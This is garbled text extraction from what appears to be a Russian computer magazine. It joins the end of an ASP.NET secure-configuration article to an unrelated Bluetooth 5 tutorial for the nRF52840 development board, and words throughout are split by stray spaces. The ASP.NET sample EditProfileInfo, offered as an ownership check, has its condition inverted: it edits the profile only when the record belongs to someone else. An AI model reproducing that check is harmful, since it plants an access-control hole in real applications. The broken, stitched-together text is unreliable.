 теги. Нап ример, такие:
system.webServer web.

config

<httpProtocol>
     <customHeaders>
       <add name="X‐Frame‐Options" value="SAMEORIGIN" />
       <remove name="X‐Powered‐By" />
     </customHeaders>
</httpProtocol>

За меть,  что мож но  не  толь ко  добав лять,  но  и  уда лять  теги. В  при мере  уда‐ 
ляет ся  заголо вок  X‐Powered‐By.  Чем  мень ше  информа ции  мы  рас кры ваем,
тем луч ше, не так ли? Резуль тат на скрин шоте.

Спи сок заголов ков

Кро ме заголов ка X‐Powered‐By, впол не мож но убрать еще и заголов ки Server
и X‐AspNet‐Version.

Вто рой  вари ант  добав ления  заголов ков  —  это  добавить  метод  Applica‐
tion_BeginRequest в файл Global.asax:

protected void Application_BeginRequest(object sender, EventArgs e)
 {
     HttpContext.Current.Response.AddHeader("X‐FRAME‐OPTIONS", 
"DENY");
 }

NWebsec
Для  добав ления  заголов ка мож но  вос поль зовать ся  и  доволь но  популяр ным
NuGet‐пакетом под наз вани ем NWebsec. Его автор — Андре Клинг схейм (An‐
dré  N.  Klingsheim).  NWebsec  мож но  исполь зовать  как  с  обыч ными  ASP.NET‐
при ложе ниями,  так  и  с  Core  1.1.  В  при ложе нии  ASP.NET  пос ле  уста нов ки
пакета в web.config появят ся сле дующие теги:

<nwebsec>
   <httpHeaderSecurityModule xmlns="http://nwebsec.com/HttpHe
aderSecurityModuleConfig.xsd" xmlns:xsi="http://www.w3.org/2001/
XMLSchema‐instance" xsi:noNamespaceSchemaLocation="NWebsecConfig/
HttpHeaderSecurityModuleConfig.xsd">
   </httpHeaderSecurityModule>
</nwebsec>

В качес тве их содер жимого мож но добавить  уста нов ку  заголов ков. Ска жем,
такой вари ант:

<redirectValidation enabled="true" />
<securityHttpHeaders>
 <x‐XSS‐Protection policy="FilterEnabled" blockMode="true"/>
 <content‐Security‐Policy enabled="true">
 </content‐Security‐Policy>
 <x‐Frame‐Options policy="Deny"/>
 <x‐Content‐Type‐Options enabled="true" />

</securityHttpHeaders>

Ес ли  ты исполь зуешь ASP.NET Core,  то рекомен дуемый вари ант добав ления
заголов ков выг лядит так:

app.UseXContentTypeOptions();
app.UseReferrerPolicy(opts => opts.NoReferrer());

пе ред

app.UseStaticFiles();

и пос ле

app.UseXfo(xfo => xfo.Deny());
app.UseRedirectValidation();

Один боль шой минус NWebsec — вер сия .NET Core 2.0 пока что не под держи‐ 
вает ся.

САМЫЕ СТРАШНЫЕ ОШИБКИ КОНФИГУРИРОВАНИЯ
Хра нение стро ки под клю чения к базе дан ных
Ес ли  ты  работа ешь  в  пол ноцен ном  ASP.NET,  то  луч ший  вари ант  хра нения
стро ки  под клю чения  —  это  файл  .  При чем  хра ни  стро ку  не  в
откры том виде, а в зашиф рован ном. Сде лать это мож но с помощью ути литы
aspnet_regiis.exe.  Самый  прос той  вари ант —  запус тить  Developer  Command
Prompt в режиме адми нис тра тора и выпол нить коман ду

web.config

aspnet_regiis.exe ‐pef connectionStrings  C:\inetpub\wwwroot\YourAp
pName

Два парамет ра коман ды — это раз дел, который необ ходимо зашиф ровать (в
дан ном  слу чае  —  ),  и  путь  к  дирек тории,  в  которой
находит ся файл  .

connectionStrings
web.config

Ес ли ты работа ешь в ASP.NET Core, то можешь исполь зовать 
 для  хра нения строк во вре мя раз работ ки. Никако го  готово го вари‐ 

анта для про дак шена .NET Core пока что нет. Но если ты хос тишь при ложе ние
в  Azure,  то  кон фиден циаль ную  информа цию  мож но  хра нить  в  парамет рах
при ложе ния.

Secret Man‐
ager tool

Па рамет ры Azure Web App

При  этом  саму  стро ку  под клю чения  луч ше  вынес ти  в  отдель ный  файл.
Из сооб ражений безопас ности этот файл неп лохо бы исклю чить из сис темы
кон тро ля вер сий.

<connectionStrings configSource="ConnectionStrings.config">
</connectionStrings>

Та ким же обра зом мож но вынес ти и кон фиден циаль ные парамет ры:

<appSettings file="AppSettingsSecrets.config">
</appSettings>

В самом фай ле необ ходимо прос то ука зать то содер жимое, которое было бы
исполь зовано в качес тве содер жимого тегов.

Скры тие сооб щений об ошиб ке
Ви дел  ког да‐нибудь  «жел тый  экран  смер ти»  с  тек стом  кода,  в  котором  воз‐ 
никла  ошиб ка?  Уве рен,  что  никог да.  :)  Шут ка.  Я  не  слу чай но  помес тил  эту
рекомен дацию сра зу пос ле «стро ки под клю чения». Тем наг ляднее будет при‐ 
мер,  в  котором  зло умыш ленник  может  искусс твен ным  обра зом  соз дать
ошиб ку  и  получить  полез ную  для  себя  информа цию.  В  иде аль ном  слу чае
это  может  быть  стро ка  под клю чения.  Иног да  даже мелочь  может  сок ратить
вре мя  поис ка  уяз вимос тей  сай та!  Если  у  нас  клас сичес кое  при ложе ние AS‐
P.NET,  то  в  web.config  режим    обя затель но  оставля ем 
или хотя бы  :

CustomErrors On
RemoteOnly

<customErrors mode="On" />

В ASP.NET Core мож но раз делить отоб ражение для режима раз работ ки и для
про дак шена с помощью NuGet‐пакета  .
Нап ример, для нас трой ки отоб ражения сооб щения об ошиб ке в метод Con‐
figure клас са StartUp мож но добавить:

Microsoft.AspNetCore.Diagnostics

env.EnvironmentName = EnvironmentName.Production;
if (env.IsDevelopment())
{
   app.UseDeveloperExceptionPage();
}
else
{
   app.UseExceptionHandler("/error");
}

Еще нес коль ко оши бок кон фигури рова ния web.config
Ес ли  вдруг  у  тебя  в  web.config  слу чай но  попали  нас трой ки  трей син га
или дебага, то на про дак шен‐сер вере обя затель но пос тавь зна чения false.

<trace enabled="false" localOnly="true" />
<compilation debug="false" targetFramework="4.5" />

Что бы взлом щик не смог получить дос туп  к фай лу  куки  (ска жем, с помощью
XSS), зна чение сле дующе го парамет ра дол жно быть true:

<httpCookies httpOnlyCookies="true" requireSSL="false"/>

Broken Authentication and Session Management
Для  хра нения  паролей  и  дру гой  кон фиден циаль ной  информа ции  исполь зуй
толь ко  стой кие  хеши  с  salt.  OWASP  рекомен дует  Argon2,  PBKDF2,  scrypt
и bcrypt.

Ис поль зуй Forms authentication толь ко для интра нет‐сай тов. Для веба луч‐ 
ше юзать Identity. И кста ти, не забудь в Identity огра ничить чис ло попыток вво‐ 
да  пароля,  добавив  в  метод    фай ла    сле‐ 
дующий код:

ConfigureServices Startup.cs

services.Configure<IdentityOptions>(options =>
{
   options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(30)
;
   options.Lockout.MaxFailedAccessAttempts = 10;
});

Ес ли ты раз реша ешь поль зовате лю редак тировать свои дан ные, то про веряй,
дей стви тель но ли он меня ет имен но их  (пом ним о том, что получен ным дан‐ 
ным не сто ит доверять):

public ActionResult EditProfileInfo(int id)
{
   var user = _context.Users.FirstOrDefault(e => e.Id == id);
   if (user.Id != _userIdentity.GetUserId())
   {
     // Редактируем данные
   }
   // ...
}

ЗАКЛЮЧЕНИЕ
В этой статье я пос тарал ся соб рать все, что может при годить ся раз работ чику
на ASP.NET в пла не безопас ности. «Все» не получи лось: из моего поля зре‐ 
ния  выпали,  нап ример,  ошиб ки  кон фигури рова ния  IIS.  Но  наде юсь,  что
получи лось  мно гое:  это го  матери ала  тебе  хва тит,  что бы  усво ить  основные
пра вила безопас ной раз работ ки и не совер шать гру бых оши бок.
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С  рос том  количес тва  сетевых  бес про вод ных  устрой ств
(охранные  и  пожар ные  сиг нализа ции,  телеме дици на,
монито ринг  окру жающей  сре ды  и  мно жес тво  дру гих)  появ‐ 
ляют ся новые и совер шенс тву ются ста рые стан дарты и про‐ 
токо лы  бес про вод ной  свя зи.  Раз ные  ком пании  и  DIY‐раз‐ 
работ чики  исполь зуют  для  сво их  устрой ств  и  сетей  раз ные
стан дарты переда чи дан ных, нап ример ZigBee, Z‐Wave, Blue‐
tooth 4, Wi‐Fi, 6LoWPAN, Thread, ANT или собс твен ные проп‐ 
риетар ные про токо лы. Не так дав но выш ла новая спе цифи‐ 
кация стан дарта ради освя зи для обме на дан ными по воз духу
Bluetooth 5. В этой статье я на при мере прог рамми рова ния
новей шего мик рокон трол лера покажу пре иму щес тва нового
стан дарта.

На  пра вах  любяще го  логику  «прог раммис та  с  паяль ником»  :)  нач ну  статью
с пла на.
1. Об зор стан дарта. Пре иму щес тва пятой вер сии в срав нении с чет вертой.
2. Вы бор железа. При емник, передат чик.
3. Опи сание отла доч ной пла ты и мик рокон трол лера. В этой час ти я рас ска жу
о парамет рах выб ранно го мик рокон трол лера и отла доч ной пла ты.

4. На чало работы с SDK (software development kit) под выб ранный мик рокон‐ 
трол лер.  Здесь  опи сыва ется,  как  начать  раз рабаты вать  прос тые  ради‐ 
опри ложе ния под Bluetooth Low Energy чет вертой вер сии на нашей отла‐ 
доч ной пла те. Что бы мы при вык ли к новому набору инс тру мен тов и на кон‐ 
крет ном при мере научи лись общать ся по Bluetooth c Android‐телефо ном.

5. Тест нового стан дарта Bluetooth 5. В этой час ти мы сде лаем две про шив ки
для  двух  отла доч ных  плат  и  рас смот рим  новые  режимы  ради опе реда чи
по Bluetooth 5.

ОБЗОР СТАНДАРТА BLUETOOTH 5
Что мы зна ем о новом стан дарте? Мы зна ем, что он обратно сов местим с чет‐ 
верты ми вер сиями спе цифи кации BLE (Bluetooth Low Energy, Bluetooth Smart),
то есть с вер сиями 4.0, 4.1, 4.2, и поз воля ет новым устрой ствам с Bluetooth
5  общать ся  со  ста рыми  девай сами  (разуме ется,  новые  фичи  будут  недос‐ 
тупны). В  чет вертых  вер сиях BLE,  в  пол ном соот ветс твии  с  наз вани ем,  поз‐ 
волял  про екти ровать  устрой ства  с  гораз до  мень шим  пот ребле нием,  чем
Bluetooth  Classic.  Но  все  осталь ное,  кро ме  энер гопот ребле ния,  было
не  очень  —  я  про  ско рость,  объ ем  переда ваемых  дан ных  в  одном  пакете
и даль ность. Все эти свой ства улуч шает Bluetooth 5.

Бо лее  под робно  мож но  узнать  на  ,  а  мы
сей час крат ко оста новим ся на глав ных пре иму щес твах пятой вер сии.

офи циаль ном  сай те  Bluetooth  5

WWW

Все  новые  Bluetooth‐спе цифи кации  пуб лику ются
.здесь

Вы сокая про пус кная спо соб ность дан ных
Вмес те с усо вер шенс тво вани ями, вве ден ными в Bluetooth 4.2, которые поз‐ 
воляли уве личить объ ем дан ных в одном пакете, и еще боль шим уве личе нием
воз можно го  объ ема  дан ных  в  пакете  в  Bluetooth  5  (DLE)  общая  про пус кная
спо соб ность ста ла впя теро выше, чем исходный уро вень Bluetooth 4.0!

Те перь чис тая про пус кная спо соб ность дан ных без уче та нак ладных рас‐ 
ходов,  таких  как  адре сация,  .  Зачем  нуж на
такая высокая ско рость? Сог ласен, дурац кий воп рос, даже не знаю, зачем я
его при думал. :) Поль зовате лей‐ауди офи лов это пораду ет ско ростью переда‐ 
чи  качес твен ной  музыки,  а  для  нас,  гиков,  откры вает  воз можность  гораз до
быс трее  обновлять  про шив ку  устрой ства  «по  воз духу»  (OTA‐DFU).  Все го  же
бла года ря  изме нени ям,  вне сен ным  в  физичес кий  (PHY)  слой  для  работы
Bluetooth‐радио, ста ли дос тупны четыре ско рос ти:

мо жет дос тигать  1,4 Мбит/c

2 Мбит/с;•
1 Мбит/с;•
500 Кбит/с;•
125 Кбит/с.•

Уве рен, что с пер выми дву мя ско рос тями тебе уже все ясно, но вот воп рос:
зачем при таком богатс тве нуж ны две «ниж ние переда чи»?

А  дело  в  том,  что  при  низ ких  ско рос тях  и  свя зан ной  с  ними  LE  закоди‐ 
рован ной обра бот ке с исполь зовани ем пря мой кор рекции оши бок (FEC) ста‐ 
новит ся  лег че  отка зать ся  от  пов торной  переда чи  дан ных  в  окру жающем
шуме. Короче  говоря,  чувс тви тель ность улуч шает ся. И не надо при высоком
уров не шума пов торно зап рашивать пакеты дан ных (малень кий квад рокоп тер
может уле теть даль ше от пуль та управле ния).

Уве личе ние про пус кной спо соб ности вещания
Для  сни жения  заг рузки  вещатель ного  (advertisment,  рек ламно го  :))  канала
и решения проб лемы перег рузки каналов пред лага ются 

 (они же «рек ламные рас ширения»).
ве щатель ные рас- 

ширения

Рас ширение  дли ны  дан ных  и  новый  PHY‐уро вень  озна чают,  что  дли на
пакетов  уве личи вает ся  с  точ ки  зре ния  фак тичес ких  дан ных  и  вре мени,
в  течение  которо го  они  занима ют  канал.  Пос коль ку  сущес тву ют  толь ко  три
рек ламных  канала,  эти  каналы  вско ре  могут  перег ружать ся  вещатель ными
пакета ми с боль шими объ ема ми дан ных при более низ ких ско рос тях переда‐ 
чи в эфи ре, таких как 125 Кбит/с.

Рек ламные рас ширения смяг чают эту потен циаль ную проб лему.

Улуч шенное сосущес тво вание с улуч шенным чередо вани ем
каналов
Bluetooth  5  так же  пре дос тавил  усо вер шенс тво ван ный  алго ритм  сек вениро‐ 
вания каналов (CSA # 2) для улуч шения псев дослу чай ного пос ледова тель ного
перек лючения  каналов.  CSA  #  2  повысит  про изво дитель ность  сосущес тво‐ 
вания  раз решен ных  устрой ств  при  наличии  вок руг Wi‐Fi  и  дру гих  Bluetooth‐
устрой ств. Все SoCs серии nRF52 име ют воз можность под держи вать CSA #
2.

BLE Mesh — пока толь ко 4.0
Яче истая  тополо гия —  сетевая  тополо гия  компь ютер ной  сети,  пос тро енная
на прин ципе яче ек, в которой ради останции сети соеди няют ся друг с дру гом
и спо соб ны при нимать на себя роль ком мутато ра для осталь ных учас тни ков.
Эта  орга низа ция  сети  дос таточ но  слож на  в  нас трой ке,  одна ко  при  такой
тополо гии  дос тига ется  высокая  отка зоус той чивость.  Как  пра вило,  узлы
соеди няют ся по прин ципу «каж дый с каж дым».

Та ким  обра зом,  боль шое  количес тво  свя зей  обес печива ет  широкий
выбор  мар шру та  сле дова ния  тра фика  внут ри  сети,  а  зна чит,  обрыв  одно го
соеди нения не нарушит работу сети в целом. Но BLE Mesh‐сети рас счи таны
(по край ней мере пока) на Bluetooth стан дарта чет вертых вер сий.

ВЫБОР ЖЕЛЕЗА
На  момент  написа ния  этой  статьи  пятую  вер сию  про токо ла  под держи вали
смар тфо ны  Samsung  и  Sony  и  в  сво бод ной  про даже  было  доволь но  мало
BLE5‐сов мести мых устрой ств.

Пла та nrf52840 Preview DK

По это му,  что бы  оце нить  все  воз можнос ти  Bluetooth  5,  я  решил  взять  две
отла доч ные  пла ты  с мик рокон трол лером    ком пании Nordic  Semi‐
conductor. Почему имен но  их? Прос то Nordic Semiconductor  дав но  сла вит ся
сво ими раз работ ками имен но в области Bluetooth‐мик росхем. Кро ме того, их
раз работ ки  тра дици онно  отли чают ся  вме няемой  ценой  и  богатой  докумен‐ 
таци ей. Чипы серии nRF52 и  кон крет но nRF52840 пред став ляют собой сис‐ 
тему на крис талле  (SoC, System on a Chip) и, сог ласно докумен тации, муль‐ 
тип ротоколь ны — могут работать со стан дарта ми Bluetooth 5, Bluetooth Low
Energy, ANT, 802.15.4, 2.4GHz RF. Под держи вают они и NFC.

nRF52840

INFO

Все мно гоп ротоколь ные  SoCs  серии  nRF52  под‐ 
держи вают  перечис ленные  фичи.  Кро ме  того,
nRF52840  име ет  улуч шенную  выход ную  мощ‐ 
ность,  что  вмес те  с  новыми  фун кци ями  Long
Range  (уве личе ние  рас сто яния  вещания)
перепол няет  сер дце  раз работ чика  безот четной
радостью. :)

NRF52840 — это усо вер шенс тво ван ный мно гоп роцес сорный SoC, иде аль но
под ходящий для свер хма лых бес про вод ных при ложе ний. Име ет пол ную аппа‐ 
рат ную  под дер жку  Bluetooth  5  (вклю чая  уве личен ную  даль ность  вещания).
Софт nRF52840 кру тит ся на 32‐бит ном про цес соре ARM Cortex‐M4F (64 МГц
дос таточ но  каж дому  (с)  поч ти  Билл  Гей тс)  с  1  Мбайт  флеш‐памяти
и 256 Кбайт ОЗУ на чипе. Под держи вает инс трук ции DSP (циф ровая обра бот‐ 
ка сиг нала), вычис ления с пла вающей точ кой (FPU).

Под держи вает  нес коль ко  про токо лов,  вклю чая  Bluetooth  с  низ ким  энер‐ 
гопот ребле нием,  ANT  (кто‐нибудь  исполь зовал  этот  про токол?  :)),
802.15.4 и 2.4GHz.

NRF52840 SoC исполь зует управле ние питани ем, что бы мак симизи ровать
энер гоэф фектив ность при ложе ний и вре мя авто ном ной работы. Запитать чип
мож но от нап ряжения пос тоян ного тока в диапа зоне от 1,7 до 5,5 В.

EasyDMA, как и все DMA (пря мой дос туп к памяти), поз воля ет раз гру зить
ЦП  нашего  мик рокон трол лера,  нап ример  что бы  переда вать  потоки  дан ных
из АЦП в UART без учас тия ядра.

В SoC есть так же мощ ный крип тогра фичес кий соп роцес сор на крис талле
(ARM Cryptocell‐310), обес печива ющий крип тогра фичес кие фун кции и услу ги
для уско рения опе раций, эко номии вре мени обра бот ки про цес сором дан ных
и сок ращения пот ребле ния энер гии. Он вклю чает в себя нас тоящий генера‐ 
тор слу чай ных чисел (TRNG) и под держи вает широкий спектр асим метрич ных,
сим метрич ных и  хеширу ющих  крип тогра фичес ких сер висов. NFC  так же под‐ 
держи вает ся в чипе.

NRF52840 име ет встро енную под дер жку USB 2.0 (full speed) и встро енное
регули рова ние питания, поз воля ющее нап рямую под клю чать ся к USB‐хос там
для переда чи дан ных.

Чип  сов местим  с  сущес тву ющи ми  сери ями  nRF52,  nRF51  и  nRF24  Series
от Nordic Semiconductor.

SoftDevice
Сте ки бес про вод ных про токо лов от Nordic Semiconductor извес тны как Soft‐
Devices. NRF52840 под держи вает ся S140 SoftDevice.

S140 SoftDevice — это под держи вающий Bluetooth 5 (пока alpha).

ОТЛАДОЧНАЯ ПЛАТА
От ладоч ную  пла ту  на  осно ве  это го  мик рокон трол лера  я  выб рал  под  стать
чипу, вот она:  . Меж ду про‐ 
чим, к ней при лага ется NFC‐антенка!

nRF52840 Preview DK Development Kit for nRF52840

NRF52840  PDK  —  это  уни вер саль ный  ком плект  для  раз работ ки  плат
для  Bluetooth  5,  Bluetooth  с  низ ким  энер гопот ребле нием,  ANT,
802.15.4  и  2.4GHz  с  исполь зовани ем  nRF52840  SoC.  Этот  ком плект  под‐ 
держи вает раз работ ку для SoC nRF52840.

На бор аппа рат но сов местим с  ,  поз воля ет исполь‐ 
зовать  сто рон ние  шил ды,  сов мести мые  с  этим  стан дартом.  Антенна  NFC
может быть под клю чена к набору, что бы акти виро вать фун кци ональ ность тега
NFC.  Ком плект  обес печива ет  дос туп  ко  всем  вхо дам  и  выходам  через
интерфей сы  и  име ет  четыре  све тоди ода  и  четыре  кноп ки,  которые  прог‐ 
рамми руют ся поль зовате лем.

Arduino Uno Revision 3

Он  под держи вает  стан дар тную  цепоч ку  инс тру мен тов  раз работ ки  Nordic
Software Development с исполь зовани ем Keil, IAR и GCC. Опции прог раммы /
отладки в ком плек те — это Segger J‐Link OB.

Кро ме  все го  про чего,  на  осно ве  млад шего  чипа  серии  nRF52832  уже
сущес тву ют  пла ты  для  плат формы  Arduino,  нап ример  Arduino  Primo.  Почему
это хорошо? Да потому, что это избавля ет тебя от кодин га на С.

ПЕРВЫЙ ПОЛЕТ
Для того что бы зас тавить нашу отла доч ную пла ту совер шать обмен с телефо‐ 
ном или ПК c под дер жкой BLE 4  (для начала), дос таточ но вклю чить питание
и  вос поль зовать ся  « »,  но  мы  же  хотим  сами  научить ся
писать прог раммы под пла ту и чип?

быс трым  стар том

По это му  кача ем  SDK  —  набор  средств  раз работ ки,  который  поз воля ет
прог раммис там соз давать при ложе ния для опре делен ного пакета прог рамм,
прог рам мно го  обес печения  базовых  средств  раз работ ки.  Помимо  все го
осталь ного, SDK содер жит  и  при меры  готовых  при ложе ний —  как  в  сор цах,
так  и  ском пилиро ван ных.  Поп робуй  погонять  ском пилиро ван ные  при ложе‐ 
ния — они не  тре буют  уста нов ки и пол ной инс тру мен таль ной цепоч ки. Если
все  работа ет  как  надо,  прос ледуй  в  раз дел  «Нас трой ка  ком плек та  для  раз‐ 
работ ки»  (для  nRF52840)  или  «Нас трой ка  набора  для  раз работ ки»  (для  nR‐
F52832) для получе ния допол нитель ной информа ции. Затем уста нови SDK.

Что бы  про верить  нас трой ку  набора  раз работ ки,  советую  исполь зовать
при мер  . Шаги,  опи сан ные  в  раз деле  «Ком пиляция  и  запуск  пер вого
при мера», про ведут тебя через тес тирова ние уста нов ки с помощью при мера
Blinky.

Blinky

Пос ле тес тирова ния уста нов ки мы дол жны зап рограм мировать SoftDevice
и запус тить при мер, в котором он исполь зует ся.

Важ ная теория
На чало нашего пути — это infocenter. Здесь соб рана вся докумен тация на все
при меры  и  SDK  раз ных  вер сий.  Так же  рекомен дую  посетить    и  ,
где мож но  най ти  отве ты  на  инте ресу ющие  воп росы. Советую  озна комить ся
и с   для раз работ ки BLE‐при ложе ний, и с  , как начать писать
в Eclipse и ком пилиро вать про екты с GCC.

блог фо рум

ту тори ала ми тем

А вот   есть рекомен дации по раз водке печат ных плат.здесь

Продолжение статьи →



ЮЗАЙ НОВЫЙ БЛЮТУС,
BLE-ПЯТЬ! ВДВОЕ БЫСТРЕЕ, 

ВЧЕТВЕРО ДАЛЬНОБОЙНЕЕ

FERRUM  НАЧАЛО СТАТЬИ←

УСТАНОВКА SDK
Пе ред  уста нов кой  SDK  убе дись,  что  у  тебя  уста нов лены  все  необ ходимые
инс тру мен ты  (см.  «Нас трой ка  ком плек та  для  раз работ ки»  (для  nRF52840)
или «Нас трой ка набора для раз работ ки» (для nRF52832)).

Что бы  нас тро ить  сре ду,  заг рузи  файл  репози тория 
  (нап ример,  )  с  сай та  devel‐

oper.nordicsemi.com.  Извле ки  ZIP‐файл  в  каталог,  который  хочешь  исполь‐ 
зовать для работы с SDK.

nRF5_SDK_x.x.
x_xxxxxxx.zip nRF5_SDK_v14.2.0_1a2b3c4.zip

Ус танови nRF5 MDK. Если у тебя Keil 5, открой при мер про екта. Затем Keil
пред ложит  уста новить  .  Если  Keil  не  спра шива ет
сам,  то открой  Install Pack, наж ми кноп ку Check For Updates и  уста нови пос‐ 
леднюю вер сию nRF_DeviceFamilyPack.

nRF_DeviceFamilyPack

INFO

NRF5 SDK v14.2.0 обес печива ет экспе римен таль‐ 
ную  под дер жку  SoC  nRF52840.  Одна ко  не  все
фун кции  под держи вают ся  на  nRF52840.  Под‐ 
робнее см. при меча ния к выпус ку.

Ес ли  у  тебя  Keil  4,  дваж ды  щел кни  файл 
в  извле чен ном  катало ге.  Юза ешь  IAR?  Дваж ды  щел кни  файл 

 в извле чен ном катало ге, что бы уста новить MDK.

nRF5x_MDK_x_x_x_Keil4.msi
nRF5x_MD‐

K_x_x_x_IAR.msi
Поль зовате ли GCC могут воз радовать ся: MDK пос тавля ется с SDK.
Итак, для того что бы начать соз давать свои про шив ки под мик рокон трол‐ 

лер, нуж но:
1. Ска чать и рас паковать SDK с сай та developer.nordicsemi.com. Я взял вер‐ 
сию nRF5_SDK_v14.2.0_1a2b3c4.zip (на этом сай те есть так же и более ста‐ 
рые вер сии SDK).

2. Ска чать и уста новить   (нам нужен пакет MDK‐Arm).Keil 5
3. От крыть любой при мер в пап ке с SDK. Нап ример, в 

. При пер вом запус ке при мера
с SDK в  IDE Keil  пред ложит  нам  уста новить  nRF_DeviceFamilyPack  (набор
вспо мога тель ных инс тру мен тов). Если Keil мол чит и ничего не спра шива ет,
открой Install Pack, наж ми кноп ку Check For Updates и уста нови пос леднюю
вер сию  nRF_DeviceFamilyPack  (на  сай те  есть  учеб ные  матери алы  о  том,
как работать с SDK в дру гих сре дах, нап ример IAR или Eclipse).

<InstallFolder>\ex‐
amples\ble_peripheral\ble_app_blinky

4. Для заг рузки про шив ки в мик рокон трол лер нажать LOAD.
5. Те перь  мож но  про тес тировать  при мер  с  помощью  устрой ства  Android,
вто рой отла доч ной пла ты или nRF Connect  (прог рамма для работы с BLE
через дес ктоп и USB‐донгл).

Внеш ний вид при ложе ния nRF Connect for Mobile

Я выб рал вари ант с при ложе нием под Android.
Что бы  про тес тировать  при ложе ние  BLE  Blinky,  нуж но  уста новить  при‐ 

ложе ние nRF Blinky для Android. Оно дос тупно в Google Play и в хра нили ще
nRF Blinky на GitHub.

6. За пус тить при ложе ние BLE Blinky и соеди нить ся с нашей отла доч ной пла‐ 
той (пос ледняя будет вид на в спис ке устрой ств как Nordic_Blinky). Теперь,
нажимая  на  изоб ражение  лам почки  в  при ложе нии,  мож но  зажечь
и погасить све тоди од на пла те.

Жур нал при ема сооб щений от служб устрой ства

Ес ли же  теперь мы откро ем при ложе ние, поз воля ющее пос мотреть служ бы,
которые нам дос тупны через BLE, нап ример BLE Scanner или nRF Connect for
Mobile, то мы уви дим, что:

ес ли написать 01 в харак терис тику сос тояния све тоди ода (0x1525), то све‐ 
тоди од 3 на пла те будет вклю чен;

•

ес ли написать 00 в харак терис тику сос тояния све тоди ода (0x1525), то све‐ 
тоди од 3 на пла те будет вык лючен.

•

Най ден ные служ бы под клю чен ного устрой ства

При ложе ние  BLE  Blinky  исполь зует  сер вер  служ бы  све тоди одов  и  кно пок.
Это  неболь шая  служ ба,  которая  перек люча ет  све тоди оды  и  ста тус  кно пок
при ема с отла доч ной пла ты nRF5.

Стек Bluetooth называ ется SoftDevice, он пред варитель но ском пилиро ван
в .hex‐файл и про шива ется в ту часть памяти, в которой нет при ложе ния. При‐ 
ложе ние  обща ется  со  сте ком  при  помощи  вызовов  callback‐фун кций.  Рас‐ 
положен в пап ке /components sdk.

Мож но про шить при ложе ние и через прог рамму nRFgo Studio. Интерфейс
этой  прог раммы  незамыс ловат,  дос таточ но  выб рать  файл,  который  нуж но
про шить в область (для при ложе ния одна область, для сте ка — дру гая).

Вот что быва ет, ког да про шива ешь при ложе ние в память сте ка ;)

Да вай теперь пос мотрим, что находит ся внут ри про екта.
Для  это го  откро ем  про ект  BLE  Blinky  в  Keil,  сле ва  в  про екте  будут  рас‐ 

положе ны пап ки и фай лы, из которых сос тоит наш про ект. Если в пап ке Appli‐
cation открыть файл main.c и най ти в фай ле фун кцию main, то мож но уви деть
сле дующий код:

int main(void)
{
   // Initialize.
   leds_init(); // Инициализация ножек светодиодов на выход
   timers_init(); // Настройка таймеров
   log_init(); // Лог в консоль
   buttons_init(); // Инициализация ножек для кнопок на вход
   ble_stack_init(); // Вызов и настройка параметров стека
   gap_params_init(); // Определение роли устройства, сервер или 
клиент
   gatt_init(); // Структура наших служб и атрибутов вообще
   services_init(); // Настройка содержимого служб
   advertising_init(); // Настройка параметров вещания
   conn_params_init(); // Настройка параметров соединения
   // Start execution.
   NRF_LOG_INFO("Blinky example started.");
   advertising_start(); // Начало вещания
   // Enter main loop.
   for (;;)
   {
       if (NRF_LOG_PROCESS() == false)
       {
           power_manage(); // Низкопотребляющий режим
       }
   }
}

Фун кция изме нения сос тояния све тоди ода выг лядит так:

static void led_write_handler(uint16_t conn_handle, ble_lbs_t * p_lbs
, uint8_t led_state)
{
   if (led_state)
   {
       bsp_board_led_on(LEDBUTTON_LED);
       NRF_LOG_INFO("Received LED ON!");
   }
   else
   {
       bsp_board_led_off(LEDBUTTON_LED);
       NRF_LOG_INFO("Received LED OFF!");
   }
}

а фун кция ини циали зации сте ка SoftDevice и BLE событий по пре рыва ниям —
так:

static void ble_stack_init(void)
{
   ret_code_t err_code;
   err_code = nrf_sdh_enable_request();
   APP_ERROR_CHECK(err_code);
   // Настрой стек BLE, используя параметры по умолчанию
   // Получение начального адреса оперативной памяти приложения
   uint32_t ram_start = 0;
   err_code = nrf_sdh_ble_default_cfg_set(APP_BLE_CONN_CFG_TAG, &
ram_start);
   APP_ERROR_CHECK(err_code);
   // Включение BLE
   err_code = nrf_sdh_ble_enable(&ram_start);
   APP_ERROR_CHECK(err_code);
   // Регистрация обработчика для событий BLE
   NRF_SDH_BLE_OBSERVER(m_ble_observer, APP_BLE_OBSERVER_PRIO, 
ble_evt_handler, NULL);
}

Фун кция ини циали зации нашей служ бы:

static void services_init(void)
{
   ret_code_t     err_code;
   ble_lbs_init_t init;
   init.led_write_handler = led_write_handler;
   err_code = ble_lbs_init(&m_lbs, &init);
   APP_ERROR_CHECK(err_code);
}

Фун кция  для  стар та  advertising —  начала  сеан са  свя зи,  рас сылки  и  при ема
пакетов в BLE:

static void advertising_start(void)
{
   ret_code_t           err_code;
   ble_gap_adv_params_t adv_params;
   // Старт вещания
   memset(&adv_params, 0, sizeof(adv_params));
   adv_params.type        = BLE_GAP_ADV_TYPE_ADV_IND;
   adv_params.p_peer_addr = NULL;
   adv_params.fp          = BLE_GAP_ADV_FP_ANY;
   adv_params.interval    = APP_ADV_INTERVAL;
   adv_params.timeout     = APP_ADV_TIMEOUT_IN_SECONDS;
   err_code = sd_ble_gap_adv_start(&adv_params, APP_BLE_CONN_CFG_TAG
);
   APP_ERROR_CHECK(err_code);
   bsp_board_led_on(ADVERTISING_LED);
}

За пись зна чения 01 для того, что бы зажечь све тоди од

Как видишь, все логич но и более‐менее понят но. :)
Все  фун кции  и  струк туры  хорошо  докумен тирова ны  в  infocenter.  Если

что‐то непонят но, то всег да мож но обра тить ся к докумен тации на 
или  .

infocentеr

Nordic Developer Zone

ТЕСТИРУЕМ ДАЛЬНОСТЬ И ПРОПУСКНУЮ СПОСОБНОСТЬ BLE5
А теперь давай поп робу ем запус тить при мер для Bluetooth 5 — тес тирова ние
на даль ность и про пус кную спо соб ность.

От кро ем при мер по пути 

и прошь ем этим при мером две пла ты.

Software Development Kit\nRF5 SDK\nRF5 SDK v14.2.0\examples\ble_‐
central_and_peripheral\experimental\ble_app_att_mtu_throughput

Од на  пла та  будет  слу жить  передат чиком,  дру гая  будет  отве чать  на  зап‐ 
росы пер вой пла ты.

Нуж но нажать на пла те кноп ку 4, которая переве дет пла ту в режим отве та.
Обра ти вни мание — све тоди од 1 вклю чен, это ука зыва ет на то, что пла та ска‐ 
ниру ет и веща ет.

Наж ми кноп ку 3 на передат чике, что бы перевес ти пла ту в режим передат‐ 
чика.

